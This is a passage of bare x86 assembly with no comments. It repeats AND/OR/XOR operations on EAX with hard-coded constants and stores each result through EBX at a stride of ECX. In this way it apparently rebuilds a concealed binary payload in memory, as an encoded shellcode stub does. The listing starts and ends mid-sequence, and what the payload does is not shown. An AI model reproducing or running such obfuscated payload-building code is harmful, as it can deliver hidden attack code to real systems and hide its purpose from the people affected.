add ebx, ecx
and eax, 0x697b8afd
and eax, 0x50acfff8
and eax, 0x2080b0
or eax, 0xb1913101
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e7d2589
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c84c9d2
or eax, 0x2bf229b2
and eax, 0x31b0a1b0
or eax, 0x80011001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14a23f18
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6cbec3c5
and eax, 0x20b08181
or eax, 0x91013030
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x297d7dd8
and eax, 0x90808021
or eax, 0x21313190
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x57e66b4b
and eax, 0xa01190b0
or eax, 0x11a02101
mov dword [ebx], eax
add ebx, ecx
and eax, 0x736c6052
or eax, 0x2f40fa46
and eax, 0x3120b010
or eax, 0x809101a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0xfe1f183
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e5b3504
or eax, 0x5fcd48bb
and eax, 0x119131b1
or eax, 0xa0208000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79659a5e
xor eax, 0x7adddd4
and eax, 0x8131b031
or eax, 0x30800180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x949f4f8
and eax, 0xb0b00101
or eax, 0x101b0b0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x254af7e2
and eax, 0x56a6c3ec
and eax, 0x10a081a0
or eax, 0xa1113011
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x535c2531
and eax, 0xa0a19080
or eax, 0x11102131
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe87ba58
and eax, 0x81b010
or eax, 0xb13001a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x65bc0227
and eax, 0xb1b1b1b1
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2fc70942
and eax, 0x72dd782d
and eax, 0x2913021
or eax, 0x80208190
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13b2a68e
xor eax, 0x61f9a696
and eax, 0x23010404
or eax, 0x80a291a8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x12c5b908
and eax, 0x916624a4
or eax, 0x4e988252
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b612b67
xor eax, 0x12e6e662
and eax, 0x5982c000
or eax, 0x82511bd2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2c7b5d14
and eax, 0x534910
or eax, 0xf32800e9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x344d8c30
or eax, 0x1bb36bce
and eax, 0x20384182
or eax, 0x44008400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60bab4b8
and eax, 0x4800108
or eax, 0xa1258641
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3542a1d6
and eax, 0
or eax, 0x2020287
mov dword [ebx], eax
add ebx, ecx
or eax, 0x411f7088
and eax, 0x31b1202
or eax, 0x98808800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2155509b
or eax, 0x2edf4b89
and eax, 0x989f8b99
or eax, 0x41203424
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4845223e
and eax, 0x996609b6
or eax, 0x6004000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x526cd3ea
or eax, 0x3fc287f9
and eax, 0x22a2869b
or eax, 0x80101804
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x749281ec
and eax, 0x32950a26
and eax, 0x10000222
or eax, 0x807cf580
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6829dc76
xor eax, 0x2c78367a
and eax, 0xc404218
or eax, 0xc10e1c03
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7173c276
or eax, 0xb892309
and eax, 0xa7ad2425
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7834faaf
and eax, 0x805ce8f
or eax, 0x400050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29dbbf0b
and eax, 0x400800
or eax, 0x13a011a4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63420b0a
and eax, 0x4767ce6a
and eax, 0x1000000
or eax, 0xa4b1e41b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x65ee939c
and eax, 0x64e7e386
or eax, 0xa000820
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3192e9dd
and eax, 0x5e340001
or eax, 0xa0086184
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6568e3cc
and eax, 0x7162d6ad
and eax, 0x204084
or eax, 0x96492820
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78479869
and eax, 0x520d00e9
or eax, 0x1000610
mov dword [ebx], eax
add ebx, ecx
and eax, 0x62336864
or eax, 0x6a06c33f
and eax, 0x2a034102
or eax, 0x15381000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2158b748
and eax, 0x18634642
or eax, 0x1041115
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f05470f
and eax, 0x8146f56
and eax, 0x50
or eax, 0x38f0b121
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32752097
and eax, 0x30400001
or eax, 0x8a05452e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b54958f
or eax, 0x30e344d5
and eax, 0x3886058f
or eax, 0xc108aa20
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63807ce7
or eax, 0x54bef34d
and eax, 0x9c06f005
or eax, 0x10802
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f41df50
and eax, 0x1c000800
or eax, 0xe37c24d0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7123baa
and eax, 0x60621602
or eax, 0x7000005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x592ba08f
xor eax, 0x52acac85
and eax, 0x11802c80
or eax, 0x4450006c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f310f6
and eax, 0x4500084
or eax, 0xab079718
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b69a366
or eax, 0x29f7b3e1
and eax, 0x210130e5
or eax, 0xd4084412
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x141a2716
and eax, 0x210101e1
or eax, 0x1cac8014
mov dword [ebx], eax
add ebx, ecx
and eax, 0x718b3d8a
and eax, 0x21080180
or eax, 0xc0127637
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e4009ba
xor eax, 0x42c282e
and eax, 0xd1420402
or eax, 0x40901dc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x42a89101
and eax, 0xe340d84
and eax, 0x200500
or eax, 0xc9011a33
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3be6bc74
and eax, 0x8000800
or eax, 0x14c0c2cb
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b6ddadc
and eax, 0x60c0007
or eax, 0x800c548
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34bf3232
xor eax, 0x79135126
and eax, 0x328a050
or eax, 0xa80309a2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x619d744b
and eax, 0x21010040
or eax, 0x1214ce31
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57318b8e
and eax, 0x62585761
and eax, 0x40000361
or eax, 0x8542108e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x777a1a39
and eax, 0x509d1f95
and eax, 0x40001201
or eax, 0xaf642db2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x326058ea
and eax, 0x58044708
or eax, 0x901002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d1b8980
and eax, 0x33e44a55
and eax, 0x10044800
or eax, 0x6c7b0187
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5257e011
and eax, 0x20748007
or eax, 0x81800040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xfa1000e
or eax, 0x1eb6d99d
and eax, 0xb6511951
or eax, 0x80022
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4dee8bf7
and eax, 0x24b90166
or eax, 0x6000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a96e683
xor eax, 0x4aef87ac
and eax, 0x50000049
or eax, 0x813e2482
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5703accb
and eax, 0x2089
or eax, 0x4f98920
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6e7506df
and eax, 0x211f7556
and eax, 0
or eax, 0x626a1fc0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e0a0b54
xor eax, 0x6b9e57a2
and eax, 0x16f00114
or eax, 0xc8003c49
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62572c70
and eax, 0x1c8fee31
and eax, 0x4030401
or eax, 0x4100d1c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e17bb3e
and eax, 0x905e679
or eax, 0x80600000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b8b11eb
and eax, 0x808524a1
or eax, 0x100800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44eb4b9e
xor eax, 0xc01ae12
and eax, 0x80a210
or eax, 0x722e4924
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f2f0438
xor eax, 0xf1884a1
and eax, 0x2916b0d
or eax, 0xd660010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x208b5f53
xor eax, 0x2e1167fc
and eax, 0x2922ced
or eax, 0x81650312
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d0c5378
and eax, 0x852a595b
or eax, 0x40000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x401c61c6
and eax, 0x80323811
or eax, 0x58818602
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d799129
or eax, 0x3e8fe23e
and eax, 0x74002207
or eax, 0x480
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30227313
xor eax, 0x2264c66d
and eax, 0x440280f8
or eax, 0x88302c04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c441279
or eax, 0x3b1e4760
and eax, 0x23004728
or eax, 0xa09801
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57edea09
xor eax, 0x37f542fd
and eax, 0x40002cc4
or eax, 0xbb67402b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27b1754a
or eax, 0x7ce55ef
and eax, 0x31b43c68
or eax, 0x8010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xfaded2a
and eax, 0x2e010050
or eax, 0xa484a1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3287674d
xor eax, 0x3add0928
and eax, 0x26660200
or eax, 0x10001123
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68bfecd7
and eax, 0x48e32947
and eax, 0x220003
or eax, 0xe8c1f864
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2db4c271
xor eax, 0x5fc51dfc
and eax, 0x20222480
or eax, 0x8810820
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7ee17643
and eax, 0x28202000
or eax, 0x4140dbf7
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ddf4f1
xor eax, 0x409142b1
and eax, 0x1103040
or eax, 0x10020017
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2572f649
and eax, 0x5a40c9c2
and eax, 0x1040c000
or eax, 0x86893181
mov dword [ebx], eax
add ebx, ecx
and eax, 0x43ea1ad7
or eax, 0x3cda56ec
and eax, 0x65816c0
or eax, 0x81042002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f54ae36
or eax, 0x6e6a0495
and eax, 0x29222010
or eax, 0x18120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79c2358d
xor eax, 0x66f5a3df
and eax, 0x2142742
or eax, 0xc9c30899
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47f7a48
xor eax, 0x1c9db08e
and eax, 0x1125a011
or eax, 0x8c81822
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ee0c7ce
and eax, 0x45053849
or eax, 0x8620002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f2c90a9
and eax, 0x10018860
or eax, 0x84140515
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x43fc3cc8
and eax, 0xd58911a9
or eax, 0x20020040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b149746
and eax, 0x40000100
or eax, 0x3a32ac88
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3557e71
and eax, 0x11e19bbb
and eax, 0x600831
or eax, 0xae026046
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4e1705ee
and eax, 0xa0000480
or eax, 0x1a028044
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x79049ce1
xor eax, 0x5aa5882c
and eax, 0x1838009
or eax, 0x62586712
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5aa66d68
and eax, 0xa11ae3b
or eax, 0x84000080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74029fb6
or eax, 0x6426ebf5
and eax, 0xb60643cc
or eax, 0x80002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a508be9
and eax, 0x6d5ef91e
and eax, 0x108
or eax, 0x777b5627
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6f481fed
and eax, 0x69290366
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f939b6f
and eax, 0x3b31a7c
or eax, 0x80046080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7fb29f93
xor eax, 0x3cae0cc4
and eax, 0x802bc181
or eax, 0x3f501054
mov dword [ebx], eax
add ebx, ecx
and eax, 0x221a8307
and eax, 0x22180105
or eax, 0xd1c118e8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x73852a8c
and eax, 0x33ca6e89
and eax, 0x1000088
or eax, 0xc4721761
mov dword [ebx], eax
add ebx, ecx
and eax, 0x52a8d700
or eax, 0xc5cf9f4
and eax, 0x40c5e70
or eax, 0x13000009
mov dword [ebx], eax
add ebx, ecx
and eax, 0x267f454
or eax, 0x222cf199
and eax, 0x2c70d1
or eax, 0xd1010820
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a02b217
and eax, 0x50083032
or eax, 0x20800408
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56a45fdc
or eax, 0xe074b6e
and eax, 0x26260aa0
or eax, 0x90c08011
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2accf13e
xor eax, 0x3059a384
and eax, 0x82815039
or eax, 0x1000a644
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64bae7e7
and eax, 0x80e060
or eax, 0xf6d0980
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37e112e3
xor eax, 0x187ff01b
and eax, 0x400000
or eax, 0x9f881420
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1c100318
xor eax, 0x11dceeab
and eax, 0x8c04e081
or eax, 0x11180248
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18fec4c8
or eax, 0x29495bb6
and eax, 0x21101170
or eax, 0xc0222001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44bf9043
and eax, 0x2436b110
or eax, 0x1a00408c
mov dword [ebx], eax
add ebx, ecx
or eax, 0xcbc51f
xor eax, 0x25dc0d1d
and eax, 0x12209880
or eax, 0x4490032c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x67dc1e58
and eax, 0x10c00b4
or eax, 0x12a0a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9066c1b
and eax, 0x1092618
or eax, 0xf6f01000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e92b8ea
and eax, 0x2f894834
and eax, 0xd810000
or eax, 0xd0364308
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa55e5d8
and eax, 0x87c742c0
or eax, 0x20080807
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2528634
and eax, 0x2400200
or eax, 0x7c19a459
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d5aea77
xor eax, 0x20f8851f
and eax, 0x8212960
or eax, 0x4c1411
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d93fc96
and eax, 0x2036c0a7
or eax, 0x9a011818
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58108575
and eax, 0x20254902
or eax, 0x4502235
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5764b6e2
xor eax, 0x6bc8bd75
and eax, 0x6ba81757
or eax, 0x80134028
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc02b10f
and eax, 0x393a00bb
and eax, 0xa
or eax, 0xc7b996f0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2a754800
and eax, 0
or eax, 0xa9c01686
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5f92e51f
xor eax, 0x60c83c24
and eax, 0x1b184121
or eax, 0x13044
mov dword [ebx], eax
add ebx, ecx
and eax, 0x220362a5
and eax, 0x2025
or eax, 0xbc381712
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x630e0db1
and eax, 0x8f143800
or eax, 0x880139
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2733d2eb
and eax, 0x2f0bc833
or eax, 0x40000400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f97e9fe
and eax, 0x4f034032
or eax, 0x80e036c9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6fe0a718
and eax, 0x4c602618
or eax, 0xb01389e5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5bbad5b2
or eax, 0x4fe9d89f
and eax, 0x6e0108c4
or eax, 0x10160400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2733944d
xor eax, 0x707ea65a
and eax, 0x2082800
or eax, 0x70064440
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71ade2b8
and eax, 0x30004000
or eax, 0x2629e36
mov dword [ebx], eax
add ebx, ecx
or eax, 0x109ac7e2
and eax, 0x2885260
or eax, 0x44050009
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43873dd0
or eax, 0x115b1b86
and eax, 0x55d139b2
or eax, 0xa8200000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x16fa4f97
xor eax, 0x42f9ddca
and eax, 0x1b2a8c4
or eax, 0x54010010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x476f8560
and eax, 0x5233a8c4
or eax, 0xa8005208
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x292aa126
and eax, 0x318020a
or eax, 0xc022004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ff1d5fe
xor eax, 0x6c4029a9
and eax, 0x60102103
or eax, 0x1c2d9648
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x369d46b4
or eax, 0x269fa63
and eax, 0x40e10a5a
or eax, 0xa5020000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x139d8ed0
or eax, 0x15875152
and eax, 0xf5a00dc2
or eax, 0x2024
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc9ed62
and eax, 0x81608084
or eax, 0xa800751
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b746bce
or eax, 0x63b6fa2f
and eax, 0x2944e9eb
or eax, 0x94090410
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x349c3c25
and eax, 0x9c15140
or eax, 0x10020e00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd4fde18
or eax, 0x6e43b472
and eax, 0x128a1060
or eax, 0x81200885
mov dword [ebx], eax
add ebx, ecx
and eax, 0x795ed15f
and eax, 0x41
or eax, 0x2c240820
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d1f1805
or eax, 0xb816854
and eax, 0x48b85824
or eax, 0x14008200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x77e69b14
and eax, 0x10a09200
or eax, 0xa11b2448
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a5ca16c
or eax, 0x62139e6a
and eax, 0xa228224
or eax, 0x84001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78643a1b
and eax, 0x200001
or eax, 0xb4c37014
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3efc8424
and eax, 0x200004
or eax, 0xc2121f00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b72f0f6
xor eax, 0x6f613c52
and eax, 0x1132c16
or eax, 0x1224d229
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x45a80c1a
and eax, 0x46869224
or eax, 0x1000100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5362c254
and eax, 0x644050
or eax, 0x80020602
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4290eb81
and eax, 0xc0644c03
or eax, 0xc08100c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4bb5fbbb
and eax, 0x55645154
and eax, 0x41000
or eax, 0x368b0339
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x25056a60
or eax, 0x93887f2
and eax, 0x8327a4a
or eax, 0x80010004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x627b6047
or eax, 0x21cc0914
and eax, 0x11d6956
or eax, 0x94009029
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4900e418
and eax, 0xcc190c61
or eax, 0x2e28210
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45d203bf
and eax, 0x40820021
or eax, 0xb21adc0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5f32cf99
or eax, 0x24e3127e
and eax, 0x1092521a
or eax, 0x43080180
mov dword [ebx], eax
add ebx, ecx
or eax, 0x606bb1bd
and eax, 0x536b431b
or eax, 0xc040c40
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6df136df
and eax, 0x1200253
or eax, 0xb016f980
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x44474cac
xor eax, 0x5ae60531
and eax, 0x8a130246
or eax, 0x10604d00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10f505aa
and eax, 2
or eax, 0x6004b890
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5cf5ad2f
and eax, 0x40040800
or eax, 0x112204c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8adacf5
and eax, 0x40b600ac
and eax, 0
or eax, 0xb17184da
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3bbd14b9
and eax, 0x10790419
or eax, 0x40026900
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37d03141
and eax, 0x519bdad3
and eax, 0x885850
or eax, 0xac7421a4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19720708
or eax, 0x75aef0ce
and eax, 0xa4ae3026
or eax, 0xa410000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x131a0140
or eax, 0x643c9e68
and eax, 0x263e9e48
or eax, 0x90804093
mov dword [ebx], eax
add ebx, ecx
and eax, 0x759141b6
and eax, 0x24800010
or eax, 0x1258a61
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5750c869
and eax, 0x61f04a48
or eax, 0x80a2180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e5d3344
and eax, 0x274d5c86
and eax, 0x55084
or eax, 0x3012a179
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7495d22f
xor eax, 0x7e9cb208
and eax, 0xa034110
or eax, 0x45d00000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x72492c47
and eax, 0x1984d00
or eax, 0x40228
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44527b53
and eax, 0x1120378
or eax, 0x9a218084
mov dword [ebx], eax
add ebx, ecx
and eax, 0x500c23f1
xor eax, 0x53686ad1
and eax, 0x1282020
or eax, 0xc951046
mov dword [ebx], eax
add ebx, ecx
or eax, 0x53e27016
and eax, 0x14863030
or eax, 0xa0008a09
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f1ca540
xor eax, 0x47eaa9e9
and eax, 0x48640400
or eax, 0x708a800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5f4157db
xor eax, 0x2c847c13
and eax, 0x21c42002
or eax, 0x8c298280
mov dword [ebx], eax
add ebx, ecx
and eax, 0x94d696d
xor eax, 0x1e526d98
and eax, 0x15054d80
or eax, 0x28e00001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2038a090
and eax, 0x24d26f22
and eax, 0x4500100
or eax, 0xf00290d5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1baa92d7
and eax, 0x52e200c0
or eax, 0x12c08
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfb994b0
and eax, 0x52605848
and eax, 0
or eax, 0xb500865d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x237897cd
or eax, 0x3e21244f
and eax, 0x8c183598
or eax, 0x41064020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x28c3116
and eax, 0x4c920080
or eax, 0x4cb301
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ab585cf
or eax, 0x310a3c28
and eax, 0x51693840
or eax, 0x88044090
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x67f47aa2
and eax, 0x94900010
or eax, 0x40603909
mov dword [ebx], eax
add ebx, ecx
or eax, 0x326a7391
and eax, 0x46520b01
or eax, 0x8018046
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x507629a5
and eax, 0x2f0da244
and eax, 0xe040240
or eax, 0x90884915
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6bb623d9
or eax, 0x782406d0
and eax, 0x52e48dd
or eax, 0x9000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a0f9091
and eax, 0x2e025015
or eax, 0x90d00520
mov dword [ebx], eax
add ebx, ecx
or eax, 0x8256a04
and eax, 0x121ade1f
and eax, 0x10000c04
or eax, 0x4ce481a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x345ab181
and eax, 0x4cb48d20
or eax, 0x80014010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e008329
and eax, 0x5c310008
or eax, 0x401082
mov dword [ebx], eax
add ebx, ecx
and eax, 0x158f177
and eax, 0
or eax, 0x14846ce8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1091d671
xor eax, 0x62b4e728
and eax, 0x20200050
or eax, 0x40e000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66ea8d9c
xor eax, 0x75e0b296
and eax, 0x1003084
or eax, 0x821a0c39
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4f1b5d63
and eax, 0x181c21
or eax, 0x70046094
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3945134a
and eax, 0x20001000
or eax, 0x85990d65
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c51c6d0
and eax, 0xa80851a5
or eax, 0x4342440
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2098dc8a
or eax, 0x7d39a4b1
and eax, 0x1a529a0
or eax, 0x420200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8bace1c
and eax, 0x905e114
or eax, 0x2a21240
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6376dcce
and eax, 0x2029004
or eax, 0xecd02e9b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x70c76825
and eax, 0x6e111ca0
or eax, 0x1200040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68f52bd5
or eax, 0x2c94d82f
and eax, 0xb0d86a
or eax, 0x2402410
mov dword [ebx], eax
add ebx, ecx
and eax, 0x411ed35d
and eax, 0xd058
or eax, 0xa8252f02
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b38be08
xor eax, 0x7c68d0ad
and eax, 0x1012e92
or eax, 0x828008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x709f1cb1
or eax, 0x3be277a7
and eax, 0x5a9ab525
or eax, 0x10
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d8e2d60
and eax, 0x2c9e9174
or eax, 0x404202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4bf57844
and eax, 0x841000
or eax, 0x3008a4a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5689b6a4
and eax, 0x76041004
or eax, 0x88304818
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ed81edf
and eax, 0x401
or eax, 0x70010104
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7de745a9
and eax, 0x30000400
or eax, 0x1461224
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1ca6d9cf
and eax, 0x61000
or eax, 0xcbf8ce78
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x45e671dd
xor eax, 0x722d99f0
and eax, 0x74353614
or eax, 0xa8922
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6579c003
xor eax, 0x58e8563a
and eax, 0x5912904
or eax, 0x90280242
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6af036a9
and eax, 0x5a4818ad
or eax, 0xb4a000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3fe98311
and eax, 0x1a208001
or eax, 0x80142898
mov dword [ebx], eax
add ebx, ecx
and eax, 0x554afa4d
and eax, 0x7b3dceab
and eax, 0x10008809
or eax, 0x24ff47b2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9c3120b
or eax, 0x2e12b2d8
and eax, 0x8413210
or eax, 0x91004904
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x203082af
or eax, 0x2b7e9f1c
and eax, 0xaa07920c
or eax, 0x40
mov dword [ebx], eax
add ebx, ecx
and eax, 0x61542381
and eax, 0x20040000
or eax, 0x9a8e18a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b560b8f
and eax, 0x1000088
or eax, 0x7adc15
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53cbffad
xor eax, 0x6160e553
and eax, 0x20200908
or eax, 0x8591c401
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d0b9e
xor eax, 0xce6ae22
and eax, 0x28022084
or eax, 0x4a01408
